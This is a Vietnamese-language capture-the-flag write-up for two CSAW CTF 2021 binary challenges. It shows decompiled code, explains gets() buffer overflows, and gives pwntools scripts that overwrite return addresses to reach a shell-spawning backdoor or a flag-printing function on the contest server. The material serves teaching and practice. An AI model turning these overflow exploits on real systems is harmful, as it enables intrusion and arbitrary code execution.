CSAWCTF 2021

1. Password Checker

IDA:

Hàm password_checker()

int password_checker()
{
  int result; // eax
  char s2[48]; // [rsp+0h] [rbp-A0h] BYREF
  char dest[48]; // [rsp+30h] [rbp-70h] BYREF
  char src[60]; // [rsp+60h] [rbp-40h] BYREF

  printf("Enter the password to get in: \n>");
  gets(src);
  strcpy(dest, src);
  strcpy(s2, "password");
  if ( strcmp(dest, s2) )
    result = printf("This is not the password");
  else
    result = printf("You got in!!!!");
  return result;
}
int backdoor()
{
  return system("/bin/sh");
}

Phân tích mã giả thấy có lỗi BOF ở hàm gets() trong hàm password_checker(), và hàm backdoor() chạy lệnh system("/bin/sh") nên chúng ta sẽ đè return address của hàm password_checker() vào hàm backdoor(), lúc đó ta sẽ gọi được shell lên và cat flag.

from pwn import *

elf = ELF("./password_checker")

p = remote("pwn.chal.csaw.io",5000)

payload = b"A"*72
payload += p64(elf.sym['backdoor'])

p.sendline(payload)

p.interactive()

2. Alien math

Đầu tiên minh sẽ đi qua các lệnh như file và checksec:

┌──(meobeo㉿debian)-[~/Desktop/CSAWCTF]
└─$ file alien_math 
alien_math: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=1b56be906979ecd1d841d026bde8f8f8c751602f, for GNU/Linux 3.2.0, not stripped
                                                                                                                                                                         
┌──(meobeo㉿debian)-[~/Desktop/CSAWCTF]
└─$ checksec alien_math
[*] '/home/meobeo/Desktop/CSAWCTF/alien_math'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

IDA:

Mình sẽ mô tả sơ về luồng thực thi chương trình như sau:

Hàm main

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4[36]; // [rsp+0h] [rbp-30h] BYREF
  int v5; // [rsp+24h] [rbp-Ch] BYREF
  __int64 v6; // [rsp+28h] [rbp-8h]

  puts("\n==== Flirbgarple Math Pop Quiz ====");
  puts("=== Make an A to receive a flag! ===\n");
  puts("What is the square root of zopnol?");
  fflush(_bss_start);
  __isoc99_scanf(" %d", &v5);
  v6 = rand();
  if ( v6 == v5 )
  {
    puts("Correct!\n");
    fflush(_bss_start);
    getchar();
    puts("How many tewgrunbs are in a qorbnorbf?");
    fflush(_bss_start);
    __isoc99_scanf("%24s", v4);
    second_question(v4);
  }
  else
  {
    puts("Incorrect. That's an F for you!");
  }
  return 0;
}

Ở đây hàm main sẽ khai báo 2 biến là v5 và v6, 1 chuỗi kí tự v4 có size là 36. Hàm scanf thứ nhất sẽ cho ta nhập vào biến v5, sau đó sử dụng hàm rand() để tạo số ngẫu nhiên cho v6. Sau đó so sánh v5 và v6 nếu bằng nhau thì chúng ta sẽ tiếp tục được nhập vào chuỗi v4 với độ dài 24 và truyền v4 vào hàm second_question().

Hàm second_question

int __fastcall second_question(const char *a1)
{
  int v1; // ebx
  size_t v3; // rax
  char s1[28]; // [rsp+10h] [rbp-30h] BYREF
  int i; // [rsp+2Ch] [rbp-14h]

  for ( i = 0; i < strlen(a1) - 1; ++i )
  {
    if ( a1[i] <= 47 || a1[i] > 57 )
    {
      puts("Xolplsmorp! Invalid input!\n");
      return puts("You get a C. No flag this time.\n");
    }
    v1 = a1[i + 1] - 48;
    a1[i + 1] = (int)(v1 + second_question_function((unsigned int)a1[i], (unsigned int)(i + a1[i]))) % 10 + 48;
  }
  strcpy(s1, "7759406485255323229225");
  v3 = strlen(s1);
  if ( strncmp(s1, a1, v3) )
    return puts("You get a C. No flag this time.\n");
  puts("Genius! One question left...\n");
  final_question();
  return puts("Not quite. Double check your calculations.\nYou made a B. So close!\n");
}

Hàm second_question() sẽ nhận đối số chuỗi v4 mới nãy ta nhập vào, đoạn code từ dòng 8 đến dòng 16 sẽ thay đổi chuỗi v4. Sau đó sẽ tiến hành so sánh với chuỗi s1 có giá trị là "7759406485255323229225", nếu 2 chuỗi bằng nhau thì ta nhảy vào hàm final_question()

Hàm final_question()

__int64 final_question()
{
  __int64 v1[2]; // [rsp+0h] [rbp-10h] BYREF

  v1[0] = 0LL;
  v1[1] = 0LL;
  puts("How long does it take for a toblob of energy to be transferred between two quantum entangled salwzoblrs?");
  fflush(_bss_start);
  getchar();
  return gets(v1);
}

Ở đây sẽ thấy lỗi BOF tại hàm gets(), và tình cờ thay trong chương trình lại có hàm print_flag()

void __noreturn print_flag()
{
  char s[136]; // [rsp+0h] [rbp-90h] BYREF
  FILE *stream; // [rsp+88h] [rbp-8h]

  puts("Here is your flag: ");
  stream = fopen("flag.txt", "r");
  if ( stream )
  {
    fgets(s, 136, stream);
    printf("%s", s);
  }
  else
  {
    puts("Xolplsmorp! If you see this when trying your exploit remotely, contact an administrator!\n");
  }
  fflush(_bss_start);
  exit(0);
}

Hướng giải quyết bài này thì mình sẽ bypass từng question rồi đè return address của hàm final_question() hướng vào hàm print_flag().

Vậy thì làm sao để bypass chỗ (v6==v5) để nhảy vào hàm second_question()? Mình biết sơ qua hàm rand(), nếu rand() được gọi mà không gọi srand() trước đó thì sẽ luôn cho cùng 1 giá trị khi chạy chương trình, các bạn có thể tìm hiểu ở đây, qua debug thì mình biết được giá trị đó là 1804289383

Giá trị decimal của 0x6b8b4567 là 1804289383

Còn bypass qua đoạn second_question() thì mình sẽ viết code để reverse lại chuỗi chương trình đã cho.

#include<iostream>
#include<cstring>
#include <string>

using namespace std;

int second_question_function(int a1, int a2)
{
	return (12 * (a2 - 48) - 4 + 48 * (a1 - 48) - (a2 - 48)) % 10u;
}

int main() {
	int y = 55;
	char s1[23] = "759406485255323229225";
	for (int i = 0; i < 23; i++) {
		for (int j = 48; j <= 57; j++) {
			int v1 = j - 48;
			int x;
			x = (v1 + second_question_function(y, i + y)) % 10 + 48;
			if (x == (int)s1[i]) {
				cout << char(j);
				y = s1[i];
				break;
			}
		}
	}
}

Đoạn code trên sẽ cho ta chuỗi có giá trị là "7856445899213065428791" đây chính là chuỗi cần nhập vào. Xong! vậy là chỉ còn việc tìm return address của hàm final_question() nằm ở đâu và get flag thôi

Code solve của mình:

from pwn import *

elf = ELF("./alien_math")

#p=remote("pwn.chal.csaw.io",5004)
p = elf.process()

#raw_input("DEBUG")

p.sendlineafter("What is the square root of zopnol?\n", b'1804289383')

p.sendlineafter("How many tewgrunbs are in a qorbnorbf?\n", b'7856445899213065428791')
payload = b"A"*24 + p64(elf.sym['print_flag'])
p.sendline(payload)

p.interactive()

Last updated